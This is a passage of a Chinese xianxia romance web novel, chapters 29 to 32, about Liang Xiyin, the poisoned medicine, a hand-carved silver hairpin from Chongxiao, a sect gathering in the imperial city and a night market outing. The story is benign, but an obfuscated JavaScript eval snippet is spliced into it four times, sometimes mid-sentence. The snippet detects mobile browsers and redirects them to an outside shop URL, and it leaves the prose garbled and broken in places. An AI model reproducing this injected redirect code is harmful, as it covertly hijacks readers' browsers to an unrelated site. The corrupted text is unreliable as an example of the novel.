只是不知在这短短的时间内,除了闻影,还有多少魔族跑了出来...他在走之前又用怨气把包括那薄弱处在内的整个阵法加固了一遍,免得再被有心之人给破坏。 重霄向屋内走着,闻影就在后面寸步不离地跟着他。重霄把外衫脱下,闻影立马上前接过,叠好后放在了衣柜中。重霄在桌前坐下,闻影又屁颠屁颠地过来给他杯中添茶,添完后双手捧着茶杯送至他面前。 重霄:“......”这性子,还真是两百年了都没变过。 见闻影两眼放光地盯着自己,重霄无法,只得接过杯子,但并没有喝,而是将之重新放在了桌面上,“闻影,我很早之前就说过,不用侍候我。” 而闻影除了说不出话,反应可以说是和当年一模一样,直接抱着他的腿大哭起来。见重霄不搭理他,又干脆顺地打起滚来,十分的不讲理。 重霄皱眉:“够了。” 仅仅两个字,就令闻影瞬间安静下来,蹲在重霄脚边可怜巴巴地望着他。 重霄:“......” “不是要赶你走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14413651|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ...算了,交给你个任务,”他边说边画了一打留影符出来,“去盯着玄晖宗的贺峰主。”能制出那种毒药,并神不知鬼不觉地将原本的药换掉,这内鬼极有可能就是身为峰主的贺千遮。 闻影得了吩咐,欢天喜地的接过留影符,再对他施了一礼后便化作一道虚影从窗户掠了出去。他身上带着与重霄相连的怨气,无论重霄去了何处,闻影也不怕寻不到他。 重霄坐在屋内,无言看着他离去的方向。幕后之人藏得太深,只能先这样慢慢调查下去了。 - 次日,梁惜因醒来后便带着瓷瓶去找殷照。见敲了几遍门都无人应,她直接伸手推开了门。扑面而来的是一阵酒气,殷照躺在前厅的地上,周围横七竖八地放着一堆空酒坛。 梁惜因:“......” 她犹豫片刻还是走上前去,试探着喊了声:“师尊?” 殷照迅速翻身坐起,倒是把梁惜因吓了一跳。他定睛看了会来人,摇晃着站起身:“是乖徒啊,来,再陪为师喝一杯!”秘境试炼之事总算告一段落,马上又要商讨魔族事宜,此时不喝,更待何时! 梁惜因:“......” “弟子改日再来向您禀报要事。”她还是走吧。 “诶,别改日了,我现在清醒的很!”殷照几步闪到了她面前,将她拦了下来。 梁惜因目露怀疑,见殷照目光清明,才将瓷瓶从袖中拿了出来:“玉衡峰送来的药中有毒,弟子请师尊明察。” 殷照这下连最后的一点酒意也消失了,他取过瓷瓶,倒出一枚药丸,捻在指尖看了又看。当然,他要是能看出什么来就见鬼了。 “你是如何得知药中有毒的?”他皱眉问道。 “女人的第六感。”梁惜因脱口而出。 殷照:“......啥玩意?”他耳朵没毛病吧? “没什么,”梁惜因飞速改口,“是我吃了几日药后,只觉身体愈加不适,是以心中生疑。” 殷照有些怀疑自己酒还没醒,谁下毒会选个这么明显的毒啊??但他对自己徒儿的话是无条件相信的:“为师知道了,此事非同小可,你先回去,容为师再探查一番。”他神情严肃地说。 “是。”梁惜因行礼后告退,心中大石落地。她知道理由其实并不重要,只要事关他徒弟,殷照就会极为重视。 果不其然,到了下午,殷照就来找她了。 他面色极为不虞:“为师去了趟悬济谷,这药中竟当真掺有赤心莲!万幸徒儿你察觉得早。”他从袖中取出一个新瓷瓶和一个小木匣,“这是悬济谷配的药,由为师亲自在旁监督,绝对没问题。还有从他们那顺的解毒丸。” 梁惜因接过,由衷笑道:“弟子多谢师尊,劳师尊费心了。那玉衡峰...” 一提起这个殷照就来气,愤懑道:“哼,也不知是何人,竟敢算计到我徒儿头上来!” “会是贺峰主吗?”梁惜因猜测着问道。 殷照凝神细思片刻,摇头说:“不像。贺峰主平日里沉默寡言,深居简出,待人接物极为平易有礼。不过也不能排除。稍后我会去与沈峰主商议,你先莫要将此事外传,知道的人越少越好。以后玉衡峰送来的东西也要仔细查验。” 梁惜因应道:“师尊放心,弟子明白。” 30. 银簪 秘境试炼过后,除了玉衡峰,最忙的便是天璇峰了。 玉衡峰自是忙着医治伤者,但往日冷清得连鸟都不愿意多待的天璇峰竟也莫名来了一大批人。原因无他,试炼中发生的种种是想瞒也瞒不住的。不论是早就出了秘境的,还是那日留在秘境中的弟子,都表示他们对阵修的看法被刷新了。 第一日出秘境的弟子无缘得见当时场面,只能从其他弟子口中听得一二。于是事情越传越离谱,甚至还出现了“阵修运转阵盘,万道金光从中射出,将附近所有兽类都扎了个透心凉”这种十分离谱的版本。 是以无论是当日得到庇护想来感谢的、好奇阵修真实实力的,还是单纯想来见一见从没见过的风景的,全都聚到了天璇峰。饭堂师傅受宠若惊,到后面不得已又从其他峰借了几个厨子来。 就连那日中毒躺了一整日的柳甫畅也都莫名其妙地收到了不少礼。当然,只要是来给他送礼的,他都给了在他眼中不值一提的回礼。这事传出去后,就导致越来越多的人来送礼,连他院子都要堆不下了。 柳甫畅为此很是苦恼,摇着折扇说:“有时候太受欢迎也不是件好事啊。” 天璇峰其余人:“......” 这日梁惜因把最后一批来拜访的人送出院落,回房后就见重霄坐在桌边,手中把玩着一把绿檀木梳。 梁惜因面上礼貌性的笑意顿时鲜活不少,快步走过去道:“阿霄,你来了。” “姐姐近来是越来越受欢迎了。”他看着桌上堆的礼道。 梁惜因坐在他身侧,一手撑着下巴,“能多结识些人总是好的,只要他们别再让我表演什么阵盘射金光。”她汗颜道。 重霄跟着笑起来:“我倒也很想见识一番。” 梁惜因好笑地斜他一眼:“你也打趣起我来了。” 重霄忙说:“我哪敢。” 他又状似无意地问:“这梳子做工精巧,不知是哪峰的女修送的?” 梁惜因想了想,说:“不是,好像是天权峰的一个男修。” 话音刚落,就听“咔嚓”一声,重霄手中的梳子直接断成了两截。 梁惜因:“???” 重霄面不改色地将断梳放下:“看来这梳子不结实,姐姐还是莫要用了。” 梁惜因还在懵着:“...是这样吗?” “不过我到底是弄坏了姐姐的礼物,这便赔姐姐一份。” 梁惜因刚想拒绝,就见重霄已从袖中取出一个木匣,放在桌上推至她面前,嘴角噙着笑说:“姐姐打开看看。” “你都准备好了啊。”梁惜因按捺不住心中好奇,依言打开了木匣。 匣中是一支银色发簪,在略有些昏暗的室内闪着细碎的微光。她拿起簪子细细端详着,顶端雕刻的花朵略有些瑕疵,但依旧不影响其精美与雅致。 “这雕的是梨花吗?好漂亮。”她不由道。 重霄似是松了口气:“对,姐姐喜欢便好。” “喜欢!”梁惜因眸中漾着笑,把簪子递给他,“阿霄帮我戴上吧。” “好。”重霄站起接过发簪,小心翼翼地扶着她的发髻,试了好几次才替她簪好。 梁惜因抬手摸了摸那簪子的位置,又兴致冲冲地走到铜镜前坐下。 嗯...簪得有些歪。但她还是笑道:“阿霄簪得真好。” 重霄站到了她身后:“姐姐谬赞了。” 梁惜因对着镜子,随口问道:“阿霄,你这是在哪买的啊?” “咳...是我自己雕的。”重霄面色有些不自然。 梁惜因抬头看向他,惊道:“当真?” 重霄偏过头去,耳根染上薄红:“没有店中做得好,姐姐莫要嫌弃。” “怎会!”梁惜因站起身,转身面对着他。结果这么一来,两人的距离有些过近了,近得她都能感受到从头顶喷洒下的温热呼吸。 梁惜因一时退也不是,进也不是,最终还是坐回到了椅子上。而再一照镜子,她就发觉了自己颊上的红晕,于是连忙把头低了下去,好像这样就能掩盖几分似的。 “阿霄做的,自是这世上最好的。”她再次抬手摸向那银簪,从梨花纹的每一处凹陷上想象着重霄雕刻它的模样,“所以阿霄你到底还有多少惊喜是我不知道的?”她打趣道。 重霄轻笑出声,他弯下腰,面孔也出现在了镜中,“时日还长,姐姐不妨留待日后慢慢发现。” - 重霄最初是隔三岔五来一次,到后面基本是每日傍晚都会来。 梁惜因忍不住道:“阿霄你也可以不用日日都来的,我已修养得差不多了。” 重霄眉头轻皱:“姐姐嫌我烦了?” “不是不是,”梁惜因急忙否认,“我是觉着你每日都来,虽说不会被发现,但路上难免费时费力,还会耽搁你忙其他事。” “姐姐原是关心我,”重霄漆黑的瞳孔中潋滟着柔情,“我也无甚可忙的。何况只要能见到姐姐,再累都值得。” “嗯...”梁惜因心跳有些加速,她换了个话题说:“对了阿霄,下个月修仙界会在皇城举办交流盛会,你会去吗?” 重霄几乎是立刻答道:“自然。姐姐去哪我便去哪。” 笑意盈满眼底,梁惜因回望着他说:“好。” 时间很快来到交流盛会的第一日,殷照领着四人在天璇峰的虹桥处等着宗内飞舟,边等边忍不住吐槽道:“真搞不懂为何要所有人都坐飞舟前往,还不如直接布个阵过去。” 燕明昭等得无聊,打了个哈欠说:“飞舟气派呗。” 梁惜因还在想能有多气派,就见那飞舟自云雾中缓缓驶来。舟身高大无比,其上飞阁流丹,绣闼雕甍,船头一颗硕大的夜明珠,通体散发着莹润浅淡的光辉。 梁惜因突然就理解了。自家宗门里有这么豪华的飞舟,这时候再不拿出来在修仙界秀一下,难道还继续放着落灰吗? 飞舟自天枢峰驶出,各峰依次停靠。梁惜因上去后,发现里头已有不少修士了。她没急着先去找个位置坐下,而是拉着燕明昭站到了窗边,看着白云缭绕,青山渐远。 柳甫畅和谢淳也跟了上来,“小心些,可别掉下去了。”谢淳温声提醒道。 “好。”梁惜因回头看了他们一眼,问道:“师尊呢?” 柳甫畅侧过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14421243|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身子,手持折扇往舱内一指。梁惜因顺着看过去,见殷照坐在最中间的一张桌子旁,正一脸淡定地喝着小酒。 梁惜因不禁又问:“师尊怎么不来欣赏下这难得一见的美景?” 燕明昭和柳甫畅对视一眼:“师妹你等着,我们这就去请师尊。” 谢淳无奈地摇头笑了笑,已经能预想出接下来的场景了。 梁惜因重又看向窗外风景,没过多久就忽听身后传来一阵鬼哭狼嚎:“弑师!你们这是弑师!” 她不明所以地转过身,就见燕明昭和柳甫畅一人架着殷照的一只胳膊,努力想把他往窗边带:“师尊,难得有这么次机会,来看看风景嘛!” 殷照两脚抵在地板上,任他们两人怎么使劲都不肯前进分毫:“不看!我不看!你们这胆大包天的逆徒,回去后给我等着!” 梁惜因满脸疑惑:“......这是?” “师尊怕高,师妹还不知道吧?”谢淳微笑道。 “竟是这么严重吗...”梁惜因大受震憾。 而此事导致的后果就是天璇峰内又添了许多阵法,走几步便会踩进去一个,且个个都很是难解。这也使得来天璇峰的人越来越少,生怕一个行差踏错就掉进了阵中,若是出不来还要等峰上的阵修来救。 天璇峰四人:已老实,求放过。 飞舟速度极快,没过多久就抵达了皇城。皇城的百姓早已听闻了交流盛会的消息,此刻看着飞舟自天边穿透白云驶来,仍是惊叹不已,纷纷仰头观望。 修仙界的交流盛会本是美事一桩,但自仙魔大战后,修仙门派及各世家皆遭受重创,无力再举办。此次盛会便是经这么些年的休养后所举办的第一场盛会。 盛会由苍梧宗承办,为期十日。前五日众弟子在城内自由活动,可去结交各门派修士,或是去拜访请教前辈大能。后五日则会举行擂台赛,不论所修类型为何,都可上台挑战、各显神通,以决出各修为段的最终胜者。 实际上交流切磋只是次要目的,盛会最主要的还是为了使各门派齐聚一堂,从而商讨魔族的相关事宜。 苍梧宗为尽地主之谊,在今日包下了皇城中所有著名酒楼以款待来客。 玄晖宗众人所在的酒楼名为“喜相逢”,里头明窗净几,人声嘈杂。店小二手脚麻利地穿梭在人群中,很快便将菜上齐了,满脸堆笑地介绍道:“几位仙长,这道菜名为天香瑶柱盅,是由干贝、火腿、香菇等食材放在鸡汤中炖煮出的,极为鲜美;这道名为珍珠翠屏鱼,是将鲈鱼去骨后填充珍珠粉和蔬菜汁蒸成的...” 如此一通下来,梁惜因几人一道菜名都没记住。不过没关系,好吃就完了!虽说饮食对修士来说并非必要,但又有谁会拒绝美食呢。梁惜因夹了一筷子莼菜笋入口,只觉口齿生香,鲜美非常。 燕明昭在旁嚼着菜,边吃边向她推荐:“这个好吃,师妹你也尝尝看。” “好。”梁惜因夹了块她说的点心小口咬着,耳边说笑声不断。她忽然就想到了一年多前刚来到这个世界的自己,那时的她躺在梁府四面漏风的破旧小院中,一定想不到会有今日。 所幸,一切都值得。 31. 观览 梁惜因几人坐在二楼的栏杆边上,能清楚地看到一楼来往的人群。 梁惜因的目光随意转着,恰好瞥见了沈逍与一人相谈甚欢。那人衣着简单,眼角下垂,颊边有些许婴儿肥,面上时刻带着笑意,瞧着便是个好相与的性子。 梁惜因好奇问道:“师姐,与沈峰主说话的那人是谁啊?哪个门派的弟子?” 燕明昭也往下看去,并陷入了沉默:“......” 梁惜因:“?” “那是苍梧宗的掌门白元绪。”她说。 梁惜因微讶:“他就是白掌门?看着很年轻啊。” 柳甫畅接道:“白掌门瞧着确实年轻,但他身为剑修,实力很强;身为掌门,极善于料理宗内事务,苍梧宗也是在他接任后扶摇直上。” “那确实很是厉害。”梁惜因点头,随即又问他们道:“那与师尊说话的那两人呢?”两人分别为一男一女,男子身形挺拔如松,样貌儒雅;女子身材姣好,皓齿蛾眉,与男子并肩立着,就如自画中而出的一对璧人。 燕明昭盯了半天,又从桌下踢了一脚柳甫畅:“听到没,师妹问你话呢。” 柳甫畅:“......”简直是有苦说不出。 “不认识。”他如实说。 谢淳这时说道:“是陆闻朔,负责皇城的修仙世家陆家的家主,旁边应是他的夫人祝轻云。” “那师尊和他们有何好聊的?”燕明昭问。 “陆家主虽是符修,但在阵之一道上也颇有造诣,写了不少关于符和阵的书册。”谢淳继续说:“且陆家主慧眼识珠,前后向各宗门举荐了不少人才,其中就包括白掌门。两人虽无师徒之称,但有师徒之谊。此外,陆家主与其夫人也是极为恩爱,当年举办的那场婚礼之盛大,至今在修仙界内仍不失为一桩美谈。” 燕明昭一手撑着面颊:“说起这个,我好像也有些印象。” 三人像是已说完话了,陆闻朔向殷照拱手告辞,向酒楼外走去。两人出门之时,祝轻云被门槛绊了一下,陆闻朔对此却视而不见地继续往前走。与沈逍谈话的白元绪注意到了门口的动静,他盯着二人离去的背影看了一会,很快又若无其事地收回视线。 梁惜因在二楼注视着这一切,总觉着有种说不上来的怪异。 用完饭后,几人没急着回苍梧宗安排的客栈,而是在皇城内闲逛着。皇城这几日的繁华更甚从前,极目犹龙骄马,流水轻车。沿街的小贩使尽全力地叫卖着,不少店铺都挂上了新招牌。来往的行人也比往日翻了一倍,除了城中的百姓,便是身穿不同宗门服饰的修士。 没见过世面的梁惜因看得很是新奇,只觉目不暇接,不停地和燕明昭说着话:“师姐师姐,你快看那两个仙友抱着的灵兽,毛绒绒的好生可爱。” “那是胐胐,很凶的,你离远点。” “师姐,刚刚那几个和尚是怀明寺的佛修吗?” “不错,看着修为不低。” “师姐,那是哪个宗门的仙友啊,宗服好生特别。” “紫源门的。也就是宗服好看点了,上任的门主一个比一个废,离散伙不远了。” 燕明昭一路上边回话边买了不少东西,手中大包小包越来越多。在经过一家饰品铺时,又嚷嚷着要进去看。梁惜因不怎么感兴趣,便站在外面等她。 柳甫畅跟了进去,把手中折扇插在腰间,对她道:“师姐,东西我来拿吧。” “不要,我一个人能行,你们谁都不用帮我。”燕明昭侧身避开他,结果因动作太大,怀中最上面的几个包袱直接滑落在地。 柳甫畅:“噗。” 燕明昭:“......” “姓柳的...” “诶诶诶,这怎么能怪我呢?”柳甫畅弯腰把包袱捡起,“我这可不是在帮你,是见不得这些包袱就这么躺在地上。” 他无比自然地又从燕明昭怀里顺走了一些:“哎呀,这地上怎么还越捡越多啊。” 燕明昭看着他睁眼说瞎话,没忍住笑出了声:“算了,既然是你捡的,那你就好好拿着。” 她一笑,柳甫畅也跟着弯起了桃花眼:“是,我的师姐。” 谢淳则走进了对面的一家书铺,在知道小师妹入宗前都是靠着民间的书自学后,他就一直坚信不疑着——最高深的秘籍,往往就流落在凡间最不起眼的书铺中! 他刚迈步进去,店家就热情迎上前来:“这位仙长,来买些什么书?” 谢淳见前后无人,才压低声音问:“此处可有何秘籍?” 本来还疑惑着的店家顿时明白了,同样凑近了小声说:“仙长,那你来我们店可就来对了!我们店内是有几本秘籍,那轻易是绝不示人的。不过看在今日我与仙长有缘的份上,我这便去拿。” “好,有劳了。”谢淳仿佛能听到自己加速的心跳声,阵道的复兴,终于要实现了吗! 他迫不及待地翻开店家拿来的书,只见第一页上赫然写着——□□功:需在水边寻一□□,持续七七四十九天模仿其一举一动,即可练成。 谢淳:“......” 他不死心地往后翻——九天神掌:寻一铁锅,持续以掌击之,将锅击穿后即可练成。 神行术:绕自家房屋每日跑五个时辰,连续九九八十一天,即可练成。 谢淳一连将几本都翻完了,结果就是:没有最离谱,只有更离谱。 谢淳:“......”这和小师妹说得完全不一样啊!! 梁惜因站在饰品铺外,忽然看到了两个熟悉的身影。她笑着向他们打招呼道:“杜师兄!叶仙友!” 杜昱和叶天舟自是也看到她了,一齐向这边走来。叶天舟爽朗笑道:“听杜兄说梁仙友入了玄晖宗,那我们以后便是同道中人了,梁仙友可别忘了叶某这个朋友。” “叶仙友放心,之前就没忘,以后更不会忘。”梁惜因道。 “哈哈哈好嘞,”叶天舟笑完后问她:“话说梁仙友怎么不来苍梧宗?苍梧宗也有阵修啊。” 杜昱轻嗤一声:“梁师妹你别听他的,苍梧宗哪能和我们玄晖宗比?” 叶天舟不满道:“你什么意思?苍梧宗不比玄晖宗有钱吗?” 杜昱岂会怕他:“有钱又如何?有钱修为就能提上去了?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14436446|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 叶天舟:“我们掌门能力强!” 杜昱:“我们掌门修为高!” “我们宗能人辈出!” “我们宗各道皆擅!” 被忽视的梁惜因:“......”所以事情是怎么发展到这一步的... 两人谁也不服谁,甚至把剑拔了出来,大有一副要当街拼个你死我活的架势。街上行人见了,纷纷能离他们有多远是多远,但又按捺不住一颗想看热闹的心,躲进了附近的店铺中探头探脑,只等他们一打起来就出声叫好。 “二位先冷静冷静...”梁惜因正要上前劝架,就见街边飘来了一个粉雕玉琢的小男孩。 为什么说是飘呢?因为那小孩盘腿坐在一个浮空的龟甲上。 等等,龟甲?? 梁惜因感觉大脑有些宕机,算了,先不管这些,她走过去想把人带到路边:“小朋友,这里有些危险哦,往边上走走。” 小孩静静地看着她,一双黝黑的眼睛极为深邃,仿佛能看透人心。梁惜因喉间滑动,心中莫名一紧,她正想发问,那小孩却忽地展颜一笑,用稚嫩的嗓音对她说:“好久不见。” 梁惜因:“...啊?” 叶天舟和杜昱的视线也扫到了这边,在看清龟甲上的人后,当即把剑收起,拱手行礼道:“见过玄仪子前辈。” 玄仪子?卜星阁阁主?? 梁惜因一惊,连忙也行礼道:“玄仪子前辈,晚辈方才失礼了。” “无妨。”玄仪子弯起笑眼,一副心情很好的模样。他对杜昱和叶天舟说:“当街打架,你们挺有能耐啊。” 杜昱和叶天舟齐齐低着头:“晚辈不敢。” “此次就算了,下次再让我撞见,定要叫你们各自的师尊好好罚你们一通。” “是,多谢前辈。” 在得到玄仪子首肯后,两人忙不迭地转身离开,边走边你撞我一下,我撞你一下。 “五日后的擂台赛你敢不敢与我单挑?” “这有什么不敢,谁怕谁啊?” “前辈,方才...”梁惜因有心想问那句话是何意,但玄仪子仿佛能看透她的想法,竖起一指放到唇边,笑而不语,坐着龟甲晃悠晃悠地飘远了。 围观全程的路人们大失所望,全都该干嘛干嘛去了,本以为有好戏看了,结果最后竟被一个小孩劝走了!这两人,实在是没出息。 谢淳这时失魂落魄地从书铺中走了出来。梁惜因见了,也顾不得去想自己是何时见过这位玄仪子前辈了,忙问他道:“大师兄,你没事吧?” 谢淳负着手,幽幽地叹了口气:“阵道复兴,任重而道远啊...” 梁惜因:“???” 燕明昭和柳甫畅也从饰品铺中走了出来,梁惜因目光落在柳甫畅手中的包袱,对他们露出了个意味深长的笑容。 柳甫畅偏过头去,此地无银三百两地咳了两声。 燕明昭红着脸道:“干嘛!有问题嘛?” 梁惜因把笑意压住,“没有没有,师姐你多思了。”见燕明昭还想说什么,她又道:“对了师姐,我适才遇到玄仪子前辈了。” 32. 夜市 和师兄师姐们聊过后,梁惜因回去又翻了些书。 卜星阁是修仙界中唯一一个只有玄修的门派。所谓玄修,便是以学习八卦六爻、占卜算卦为主的修士。梁惜因在刚开始知道的时候很是震惊,因为她在现世是不信这些的,一直把这当作骗钱的手段。 而在这个世界中,玄修比阵修更讲究天赋,因此数量极少。修行到一定境界的玄修能无比准确地预知未来的吉凶祸福和人的命运走向,但当今修仙界中能做到此的只有一人,那便是玄仪子。 玄仪子据说生来便带有天眼,天赋极高,做玄修是再合适不过的了。也正是因为他窥得了太多天机,所以终生都只能被限制在孩童模样,无法长大,事实上没人知道他活了有多久了。 至于他的龟甲,则是法宝阴阳八卦甲,由千年神龟的壳制成,能晓八卦、通阴阳、参天地,大小更是能随意变换。 梁惜因:...所以就被拿来当坐骑了是吗。 柳甫畅在不久前真诚发问道:“所以这些有什么用?”想来这也是很多修士心中的疑问。 谢淳答道:“师弟,不管是何种类型的修士,既能传下这么多代,就一定有他的道理。” “什么道理?”柳甫畅又问。 谢淳默了片刻:“...不知,大概是关键时刻能左右战局吧。” 柳甫畅:“......” 想到这,梁惜因勾了勾唇角,把手中的书放下。她还是不明白玄仪子对她说的那句话是何意,他看着也不像是会认错人的样子啊。 交流盛会安排的客栈是两人一间房,她自是和燕明昭一间。此时燕明昭不在房间内,梁惜因边思索着边站起来想活动活动身子,适才看书看得脖子有些酸。 一缕黑雾从窗外潜入,悄无声息地来到了梁惜因面前。梁惜因一喜,低声道:“阿霄?” 黑雾从手腕处钻入她体内,耳边也在同时响起了重霄的声音:“姐姐,下楼。” 梁惜因当即披上外衫,走出房门。这个时辰,客栈中的弟子要么是回房准备休息了,要么便是在外未归,梁惜因一路上没碰到几个人,很快就到了客栈大门处。 她向门外望去,就见重霄一身黑衣,长身玉立,姿容卓绝。 她还未走近,重霄就似感觉到了什么般,侧头唤她道:“姐姐。”这一刹那的笑容,有如冰雪消融,春芽绽枝。 梁惜因小跑过去,脚步里带着些自己都没察觉到的雀跃:“阿霄,你来了。” “嗯,让姐姐久等了,白日里人多眼杂,不便现身。” “这有什么,不过阿霄你可要戴上面罩?以免被人认出来。”梁惜因环顾着周遭。 “无妨,那些见过我的眼下都聚在苍梧宗,姐姐放心。” “这你也知道?”梁惜因随口打趣道。 “要见姐姐,自是要做好万全的准备。”重霄笑道。 “既如此,阿霄陪我去逛夜市如何?” 交流盛会期间,皇城中的宵禁取消,允许举办夜市。夜间街道上的游人并不比白日时少,两人穿梭在人流中,重霄很是自然地牵住了梁惜因的手:“人多,姐姐别走散了。” 梁惜因犹豫了下,还是没有把手抽回来。她在重霄长大后就很少像以前那样牵他了,但此时的感觉并不陌生,甚至还令她有些微妙的欣喜。 街边一位须发皆白的小贩热情地招呼两人:“两位仙长,来捏个泥人吗?” 梁惜因好奇地拉着重霄走过去,弯腰看着小摊上的一排泥人:“老伯,这些都是您捏的吗?好生精美。” 老伯呵呵一笑:“是啊,照两位这模样,那捏出来的泥人定也好看得紧!” 听他这么说,梁惜因自不会拒绝:“那老伯您给我和他都捏一个吧,大概多久能好?” 老伯拿起工具就开始动手,嘴上道:“你们去玩、去玩,玩一圈回来老爷子我肯定能捏好。” “那就多谢老伯了。” 夜市中的活动不比白日时多样,却也是有趣非常。猜灯谜的、表演杂技的、说书的...每个摊位前都围满了人。各色灯笼成串挂起,将街市映照得有如白昼,姿态万千的姑娘们挽着手缓缓而行,灯火夜妆明。 梁惜因一路上和重霄说笑着,看到卖相佳的夜宵就想买来尝尝,不知不觉间吃了不少东西。 重霄将刚买的荔枝膏递到她面前:“姐姐,再尝尝这个。” 梁惜因伸手接过:“最后一份了,这个吃完我就不吃了。” “......等等,我吃糖蜜糕的时候是不是也这么说的?”她紧接着道。 重霄眼含笑意:“那又如何,姐姐想吃便吃。” ...救命,她一开始真的只是想吃一份冰雪冷元子。这夜市上的美食未免也太多了吧。 不远处传来一阵喧闹声,梁惜因为着消食,也拉重霄去看。 人群中央有一人在投壶,投中了众人便发出一阵叫好声,反之则是一片嘘声。最终那人十箭中了四箭,从小贩那领了个小香包。 在小贩那摆满奖品的小摊上,梁惜因一眼就相中了一盏兔子模样的花灯。与寻常的兔子花灯不同的是,那上面绘的兔子竟是皱着眉的,看上去就如在生气,让梁惜因一下就想到了燕明昭。 重霄顺着她的视线望去,扬眉道:“姐姐想要那盏灯?” “嗯,我想把它送与师姐。”她如实说。 重霄点头,走到小贩面前:“我来试一次。” 小贩搓着手和他讲解了遍规则,又将他上下打量了一遍:“这位公子是修道之人吧。” “算是。”重霄道。 “仙长,那为确保公正,我得将壶放远一些。” “你放吧。”重霄从他手中接过十只箭,不以为然地道。 小贩便又将壶往后移了三尺。梁惜因在人群中有些忧心,这会不会太远了一些,而且光线也不好... 而其余围观的人见来了个翩翩公子,兴致更浓,全都伸长了脖子等着看他投。 重霄活动了两下手腕,持着箭往前轻轻一抛,正中壶口!小贩在众人的叫好声中不屑地抖着腿,运气好而已。 等重霄连续五箭都中后,他有些不淡定了,站直了身子,想不到还真有几分实力!在重霄一连中了九箭后,小贩直接就想跪下了。完了,真遇到高手了。 他眼睁睁地看着重霄将最后一支箭轻飘飘地向前扔去,不出所料的又中了。全壶!人群发出的叫好声震天响,又引来了不少路人。 重霄带着梁惜因走到摊位前,向那小贩确认道:“全壶能任选奖励,对吗?” 小贩擦着额上的汗:“是、是。” 梁惜因毫不犹豫地指向花灯:“那我们要这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14446917|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个!” 小贩忙将花灯送到她手中:“您二位慢走。” 重霄却说:“我再投一次。”他将二十文放到小贩面前,自顾自地拿了十只箭走回壶前。别说小贩没反应过来了,就连梁惜因都有些懵。这投壶...有这么好玩? 最高兴的要数围观群众了,刚才那一次他们可是完全没看够啊! 重霄这次的全壶投得更快,不一会又回到了摊位前,对梁惜因说:“选吧,姐姐。” 小贩要哭了,这姐弟俩... 不过梁惜因最后只选了一把折扇:“那我就要这个吧。” “好嘞好嘞,二位慢走、二位慢走。”见他们这下是真走了,小贩才呼出了一口长气。 梁惜因手持折扇,问提着花灯的重霄道:“阿霄,你方才为何要在来一次?” “姐姐不是说要将花灯送与燕姑娘吗,那这折扇便是我送与姐姐的。”摇曳的灯火将重霄冷冽的眉目映衬得愈加温柔。 梁惜因笑意加深,心中似有千万只蝴蝶振翅:“这么说来,阿霄这次是特意为我投的?阿霄你也真是厉害,那么远的距离,还能十箭全中。若换作是我,能中一箭都算运气好的了...” 说着,梁惜因随手展开折扇,又在看清扇面后又猛地将它合上了。 “怎么了?姐姐不喜欢?”重霄问。 “不、不是。”回想着方才看到的内容,梁惜因只觉手中的扇子在发烫。 她当初是看这折扇扇骨上的纹样好看才选的,可为什么打开后会是两只鸳鸯相依着游泳?上面还很是应景地题了两句诗——结发为夫妻,恩爱两不疑。 其实说到底这只是一个单纯的巧合,但梁惜因就是莫名心虚,不敢想重霄看到后会做何反应,虽然很可能也就是置之一笑... 想到这,梁惜因莫名有些沮丧,她摇了摇头甩出这些突如其来的情绪,将扇子放进乾坤袋中,继续向前走:“既是阿霄相送,那我又怎会不喜?走吧,去看看老伯的泥人做好了没有。” 重霄落后半步,看着梁惜因纤瘦的背影,若有所思。 街上的行人渐渐散尽,老伯远远地看到他俩便喊道:“泥人做好了,二位仙长瞧瞧满意否?” 梁惜因从他手中接过泥人,小小的泥人憨态可掬,隐约能看出他们二人的影子。“好可爱,老伯您手艺可真好。”梁惜因弯着双眸,掏出一小块碎银,“不用找了,辛苦老伯了。” 老伯大喜:“诶,谢谢仙长,谢谢仙长!” 梁惜因摆弄着手中的泥人:“长得好像阿霄以前没长大的样子。”她把重霄的小泥人递过去,“呐,这个给你。” 重霄没接:“我想要姐姐那个。” 梁惜因微怔,又把自己的递与他:“好啊,给。” 重霄接过,抚了抚泥人的面容,笑着说:“很可爱。” 